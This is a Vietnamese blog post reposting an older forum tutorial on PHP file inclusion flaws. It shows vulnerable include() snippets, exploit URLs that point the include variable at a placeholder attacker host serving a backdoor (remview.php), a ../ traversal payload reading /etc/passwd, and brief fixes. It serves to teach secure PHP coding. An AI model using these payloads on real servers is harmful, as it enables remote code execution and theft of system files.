Thứ Tư, 29 tháng 10, 2008

PHP File Include

PHP File Include - Phát hiện, khai thác và khắc phục (Bài viết của Guanyu - Mod HVA 2003)
Bài viết này tuy đã lâu rồi, nhưng hiện nay lỗi này vẫn còn khá phổ biến, nên tôi post lại bài này.
Bài này thực sự có ích cho những lập trình viên sử dụng PHP, thông thường những lập trình viên nếu có chú ý đến bảo mật thì cũng chỉ chủ yếu xử lí SQL Injection mà không biết đến cái gọi là PHP injection.
Đây cũng là 1 lỗi rất phổ biến mà hacker khai thác ở mức web application.

Bài viết này là một bài tổng kết lại quá trình tìm hiểu lỗi PHP File Include. Có thể nó hơi khó hiểu, nhưng mình hi vọng các bạn có thể định nghĩa rõ hơn về lỗi này cũng như tự mình có thể phát hiện lổi trong các sản phẩn PHP. Xin nói thâm là các đánh giá dưới đây là theo góc nhìn của QVT chứ không phải đánh giá của bất kì hệ thống nào.

|---------------------------------
Mức độ phổ thông: 5-6
Mức độ nguy hiểm: 7-9
Mục tiêu tấn công: Server
Vị trí kẻ tấn công: Client
---------------------------------|

Như ta đã biết hàm include() hay require() trong PHP giúp cho lập trình viên không phải lập đi lập lại một đoạn mã thường sử dụng nào đó và làm cho chương trình trở nên gọn hơn. Nhưng song song với mặt tích cực là mặt tiêu cực, tuy hai hàm này rất tiện lợi nhưng nếu ta dùng nó không cẩn thận thì sẽ rất nguy hiểm.

I ) Phát Hiện:
__ Lỗi PHP file include phát sinh do sự bất cẩn của người viết chương trình (xin gọi là coder). Thay vì sử dụng một string ‘x’ (chuỗi) làm đường dẫn đến file cần include (hay require) thì coder lại dùng một biến ‘y’ để thay thế cho chuỗi ‘x’ ấy nhằm tránh lập lại một chuỗi ‘x’ nhàm chán (có thể do họ… lười). Nếu biến ấy đã được khai báo thì không có vấn đề gì ngiêm trọng. Ngược lại nếu coder bất cẩn không khai báo biến ‘y’ ấy thì các attacker sẽ lợi dụng ngay điều này. Họ sẽ khai báo biến ‘y’ là đường dẫn đến file của họ (có thể là BackDoor) và thế là hàm include() sẽ thực hiện một cách máy móc: include file có đường dẫn được attacker khai báo… Thật nguy hiểm.

__ Theo tớ có hai loại lỗi file include: include remote file và include local file.

__ Để hiểu rõ hơn, các bạn hãy xem các ví dụ đơn giản sau:

1/ Include remote file:

a/ Lỗi đơn giản:

|---------BEGIN of test.php-------

CODE
$ex=”/home/www/testsite”;
include(“$ex/index.php”);

[…]

?>

----------END of test.php---------|

Đoạn code trên không có vấn đề gì cả. Nhưng nếu là đoạn code dưới đây thì sao?

|---------BEGIN of test.php-------

CODE
include(“$ex/index.php”);

[…]

?>

----------END of test.php---------|

__ Bạn nói sao? ừ 100% là trang này đã bị lỗi File include. Chúng ta có thể khai thác bằng cách sữ dụng link sao:
http://www (http://www/).[target].com/test.php?ex=http://www.[attacker].com/
__ Link này sẽ include file http://www (http://www/).[attacker].com/index.php. Tại seo lại như vậy? Ta có thể giải thích một cách đơn giản như sau: ta đã khai báo biến $ex là http://www (http://www/).[attacker].com/ lúc bấy giờ trong hàm include() có dạng như sau:
include(“http://www.[attacker].com/index.php”). Bạn hiểu chưa?

__ Chúng ta cần chú ý một vấn đề rất quan trọng trong việc khai thác lỗi File Include này. Đó là host chứa file ta muốn include phải KHÔNG HỖ TRỢ PHP. Bạn có biết vì sao lại như vậy không? Vấn đề hết sức đơn giản vì hàm include() và require() chỉ có thể include được giá trị HTML Output của trang mà nó include (nếu include các file ở ngoài host). Do vậy nếu bạn dùng host có hỗ trợ PHP thì cái mà bạn include được chỉ là BackDoor đang chạy trên… host của bạn thôi chứ bạn chưa làm gì được host của victim cả. Trong khi mục đích của ta ở đây là “biến file bị lỗi của victim thành một backdoor”. Vì vậy, host không hổ trợ PHP sẽ đưa code của file này ra HTML output và thế là toàn bộ code đó được file bị lỗi đưa vào source của nó. Thế là nó tự biến mình thành backdoor một cách vô thức.

b/ Lỗi File include thông qua isset(), if()…
Mời bạn xem tiếp code của một số file:

|---------BEGIN of test1.php-------

CODE
if (!$file) {$file = "index.php";}
include(“$file”);

[…]

?>

----------END of test1.php---------|



|---------BEGIN of test2.php-------

CODE
if (!isset( $path )) $path = '/home/';

include(“$path/index.php”);

[…]

?>

----------END of test2.php---------|

__ Cả hai đoạn code này có chung một sai lầm: đó là không khai báo trực tiếp các biến mà phụ thuộc vào người dùng cuối có khai báo các biến đó không. Tôi xin giải thích ý nghĩa của hai đoạn code trên cho các bạn không có khả năng đọc code:
|____ Ở file test1.php: nếu biến “$file” chưa được khai báo thì sẽ được gắn giá trị mặc định là index.php. Và sau đó là include file được khai báo ở biến “$file”.
|____ Ở file test2.php: cũng tương tự như trên, nếu biến “$path” chưa được khai báo thì sẽ được gắn giá trị mặc định là “/home/” và sau đó sẽ include file có thư mục được khai báo ớ biến “$path”.

__ Chính vì vậy các attacker có thể lợi dụng sơ hở này để khai báo các biến và include các file mà họ muốn. Vì khi ta đã khai báo biến thì các giá trị mặc định của biến đó đã bị vô hiệu hoá.
__ Ta có thể khai thác như sau:

Với file test1.php:
http://www (http://www/).[target].com/test1.php?file=http://www.[attacker].com/remview.php
Sẽ Include file remview.php

Với file test2.php:
http://www (http://www/).[target].com/test2.php?path=http://www.[attacker].com/
Sẽ include file “index.php” tại trang http://www (http://www/).[attacker].com/

2/ Include local file:

__ Loại này cũng gần giống như include remote file. Nhưng nó khác ở chổ: biến chứa tên file bị giới hạn bởi một thư mục đứng trước nó.

Vd: Một file bị lỗi include local file có dạng như sau:

|---------BEGIN of test3.php-------

CODE
include(“/home/$file”);

[…]

?>

----------END of test3.php---------|

Xin chú ý là biến $file chưa được khai báo.
__ Nếu ta dùng:

http://www (http://www/).[target].com/test3.php?file=http://www.[attacker].com/remview.php

Thì trong code của file test3.php sẽ trở thành như sau:

|---------BEGIN of test3.php-------

CODE
include(“/home/http://www.[attacker].com/remview.php”);

[…]

?>

----------END of test3.php---------|

Một đường dẫn vô nghĩa. Do đó ta không thể include được file ta muốn.

__ Bấy giờ ta chỉ có thể sử dụng cách sau:

http://www (http://www/).[target].com/test3.php?file=../../../../../../../../etc/passwd

Link trên đã khai báo biến $file với giá trị là: “../../../../../../../../etc/passwd”. Lúc này code của file test3.php có dạng:

|---------BEGIN of test3.php-------

CODE
include(“/home/../../../../../../../../etc/passwd”);

[…]

?>

----------END of test3.php---------|

__ Các kí tự : “../../” đã giúp ta vượt qua các cấp thư mục trở về thư mục gốc”/” (đối với Linux) và sau đó là include file /etc/passwd. Thế là toàn bộ nội dung file passwd sẽ được hiển thị trên trình duyệt của attacker. Ta có thể thay thế /etc/passwd bằng bất cứ file nào ta muốn include (+xem). Xin chú ý: càng dùng nhiều kí tự “../” càng tốt vì nó sẽ đảm bảo đưa ta đến thư mục gốc.

II ) Khắc phục:

Khắc hục lỗi file include này theo tớ là đơn giản hơn fix các lỗi khác nhiều.
Nếu sản phẩm bạn code chưa mắc lỗi hay đã này thì tôi xin khuyên bạn vài điều để hạn chế việc mắc phải lỗi này.
+ Hạn chế dùng các biến trong các hàm (include và require), nếu đã dùng nên đảm bảo các biến đó đã được khai báo đầy đủ và chính xác. Nếu bạn vẫn thích dùng biến thay thế cho đường dẫn thì tại sao bạn không dùng hàm define() nhỉ? Hàm này không cho phép user khai báo từ bên ngoài, hoặc bạn có thể dùng các kí tự đại diện cho các cấp thư mục như: “./” (thư mục hiện hành), “../” (thư mục cấp trên).

+ Hạn chế việc khai báo biến phụ thuộc vào nguời dùng cuối như ở Vd 2. Nên khai báo trực tiếp biến đó.

Không có nhận xét nào:

Đăng nhận xét

Bài đăng phổ biến